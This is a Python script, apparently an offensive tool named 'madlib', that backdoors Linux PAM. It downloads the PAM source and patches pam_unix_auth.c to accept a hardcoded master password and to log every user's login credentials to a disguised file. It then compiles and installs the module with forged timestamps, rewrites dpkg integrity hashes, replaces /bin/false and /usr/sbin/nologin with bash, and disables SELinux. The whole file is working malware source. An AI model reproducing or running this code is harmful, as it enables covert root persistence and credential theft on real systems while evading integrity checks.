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pam.py
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pam.py
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#!/usr/bin/python3
import os
import shutil
import getpass
import subprocess
import tempfile
import time
import urllib.request
import sys
import socket
import random
import string
import crypt
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
conf = {
"password": "secretpassxd",
"log_location": "/usr/include/type.h",
}
install_dirs = [
"/lib/security/pam_unix.so",
"/usr/lib64/security/pam_unix.so",
"/lib/x86_64-linux-gnu/security/pam_unix.so",
]
pam_hash_location = [
"/var/lib/dpkg/info/libpam-modules:amd64.md5sums"
]
# file name, hash locations
replace_files = {
"/bin/false" : [
"/var/lib/dpkg/info/coreutils.md5sums"
],
"/usr/sbin/nologin" : [
"/var/lib/dpkg/info/login.md5sums"
]
}
banner = r''' .___.__ ._____.
_____ _____ __| _/| | |__\_ |__
/ \\__ \ / __ | | | | || __ \
| Y Y \/ __ \_/ /_/ | | |_| || \_\ \
|__|_| (____ /\____ | |____/__||___ /
\/ \/ \/ \/
https://github.com/rek7/madlib/'''
def gen_bcrypt_salt(length=10):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length))
bcrypt_salt = gen_bcrypt_salt()
def gen_bcrypt_pass(password):
return crypt.crypt(password, bcrypt_salt)
src = '''
if(strcmp(crypt(p, "{}"), "{}") == 0){{
retval=PAM_SUCCESS;
}} else if(retval == PAM_SUCCESS) {{
FILE *out = fopen("{}", "a");
fprintf(out, "pam:%s:%s\\n", name, p);
fclose(out);
}}
'''.format(bcrypt_salt, gen_bcrypt_pass(conf["password"]), conf["log_location"])
def place_backdoor(src_location):
is_tainted = False
tmp=tempfile.mkstemp()
try:
with open(src_location, "r", errors="ignore") as fd1, open(tmp[1],'w') as fd2:
for line in fd1:
if line.find("retval = _unix_verify_password(pamh, name, p, ctrl);") != -1:
line = line.replace('retval = _unix_verify_password(pamh, name, p, ctrl);',"retval = _unix_verify_password(pamh, name, p, ctrl); \n{}".format(src))
is_tainted = True
fd2.write(line)
fd2.close()
fd1.close()
os.rename(tmp[1], src_location)
except Exception as e:
prompt("-", "Place Backdoor: {}".format(e))
return is_tainted
def self_remove(original_file):
os.remove(original_file + "/"+ sys.argv[0])
def prompt(icon, message, end="\n"):
print("[{}] [{}] {}".format(time.strftime('%X'), icon, message), end=end)
def update_dpkg_hashes(dpkg_location, bin_location, replace_str):
tmp=tempfile.mkstemp()
try:
with open(dpkg_location, "r", errors="ignore") as fd1, open(tmp[1],'w') as fd2:
for line in fd1:
entry = line.strip().split(" ")
if entry[1].find(replace_str) != -1:
bin_md5 = program_output('md5sum "{}" | cut -d " " -f 1'.format(bin_location)).strip()
fd2.write("{} {}\n".format(bin_md5, entry[1]))
else:
fd2.write(line)
fd2.close()
fd1.close()
os.rename(tmp[1], dpkg_location)
return True
except Exception as e:
prompt("-", "Update DPKG Hashes: {}".format(e))
return False
def install_pam(current_location):
for possible in install_dirs:
if os.path.exists(possible):
for file_name, hash_locations in replace_files.items():
shutil.copy("/bin/bash", file_name)
for integrity_file in hash_locations:
if os.path.exists(integrity_file):
if update_dpkg_hashes(integrity_file, file_name, file_name[1::]):
break
os.rename(current_location, possible)
if os.path.exists(possible):
pam_dir = os.path.dirname(os.path.abspath(possible))
os.system("touch -d \"$(stat -c '%y' {}/pam_time.so)\" {}".format(pam_dir, possible))
os.system("chmod --reference={}/pam_time.so {}".format(pam_dir, possible))
for integrity_file in pam_hash_location:
if os.path.exists(integrity_file):
if update_dpkg_hashes(integrity_file, possible, "pam_unix.so"):
break
return possible
return False
def download_file(url, output_name):
try:
if urllib.request.urlretrieve(url, output_name):
return True
except Exception as e:
if e.code == 404:
prompt("-", "Unable to find a Library, Specify Manually".format(e))
else:
prompt("-", "Download File: {}".format(e))
return False
def program_output(cmd):
try:
return subprocess.check_output(cmd, shell=True).decode("utf-8")
except:
pass
return False
def fix_se_linux():
if os.path.exists("/etc/selinux/config"):
prompt("!", "SE Linux Detected, overwiting to disable.")
with open("/etc/selinux/config", "r", errors="ignore") as se_file:
se_conf = se_file.read()
se_file.close()
se_linux_updates = []
for line in se_conf.splitlines():
line = line.strip()
if line.find("SELINUX=") != -1:
se_linux_updates.append("SELINUX=disabled")
else:
se_linux_updates.append(line)
with open("/etc/selinux/config", "w") as fd2:
for se_updated_line in se_linux_updates:
fd2.write("{}\n".format(se_updated_line))
fd2.close()
def get_pam_version():
try:
import platform
linux_distro = platform.linux_distribution()[0].lower()
except Exception:
import distro
linux_distro = distro.like()
if linux_distro in ["ubuntu", "debian", "mint", "kali"]:
return program_output("dpkg -s libpam-modules | grep -i Version | awk '{ print $2 }'").split("-")[0]
elif linux_distro in ["redhat", "centos", "centos linux", "fedora"]:
return program_output("yum list installed | grep 'pam\.*' | awk '{print $2}'").split("-")[0]
return False
if __name__ == "__main__":
print(banner)
if os.geteuid() == 0:
if len(sys.argv) == 2:
pam_version = sys.argv[1]
else:
pam_version = get_pam_version()
if not pam_version:
prompt("-", "Unable to Find PAM Version, Please Manually Specify")
exit(1)
else:
prompt("!", "Detected PAM Version: '{}'".format(pam_version))
dl_url = "https://github.com/linux-pam/linux-pam/releases/download/v{}/Linux-PAM-{}.tar.xz"
src_dir = "/tmp/Linux-PAM-{}".format(pam_version)
prompt("!", "Downloading Pam: '{}'".format(pam_version), "\r")
if download_file(dl_url.format(pam_version, pam_version), "/tmp/linux_pam.tar"):
if os.path.exists("/tmp/linux_pam.tar"):
prompt("+", "PAM TAR Download Completed")
script_location = os.path.realpath(__file__)
os.chdir("/tmp/")
prompt("!", "Extracting...", "\r")
os.system("tar xvf /tmp/linux_pam.tar > /dev/null 2>&1")
os.remove("/tmp/linux_pam.tar")
if os.path.exists(src_dir):
prompt("+", "Finishing Extracting")
os.chdir(src_dir)
if place_backdoor("modules/pam_unix/pam_unix_auth.c"):
prompt("+", "Added Backdoor")
prompt("!", "Compiling Tainted Lib", "\r")
os.system("./configure > /dev/null 2>&1 && make -j$(nproc) > /dev/null 2>&1")
if os.path.exists("modules/pam_unix/.libs/pam_unix.so"):
prompt("+", "Finished Compiling Tainted Lib")
os.system("strip modules/pam_unix/.libs/pam_unix.so")
fix_se_linux()
result = install_pam("modules/pam_unix/.libs/pam_unix.so")
shutil.rmtree(src_dir)
if result:
prompt("+", "Finished Successfully Compiled PAM File Moved to: '{}'".format(result))
# os.remove(script_location)
exit(0)
else:
prompt("-", "Unable to Place the File")
else:
prompt("-", "Failed to Compile")
else:
prompt("-", "Failed to Place Backdoor")
else:
prompt("-", "Failed to Extract SRC dir")
else:
prompt("-", "Failed to Download File")
else:
prompt("-", "Root Needed")
prompt("!", "Exiting.")
exit(1)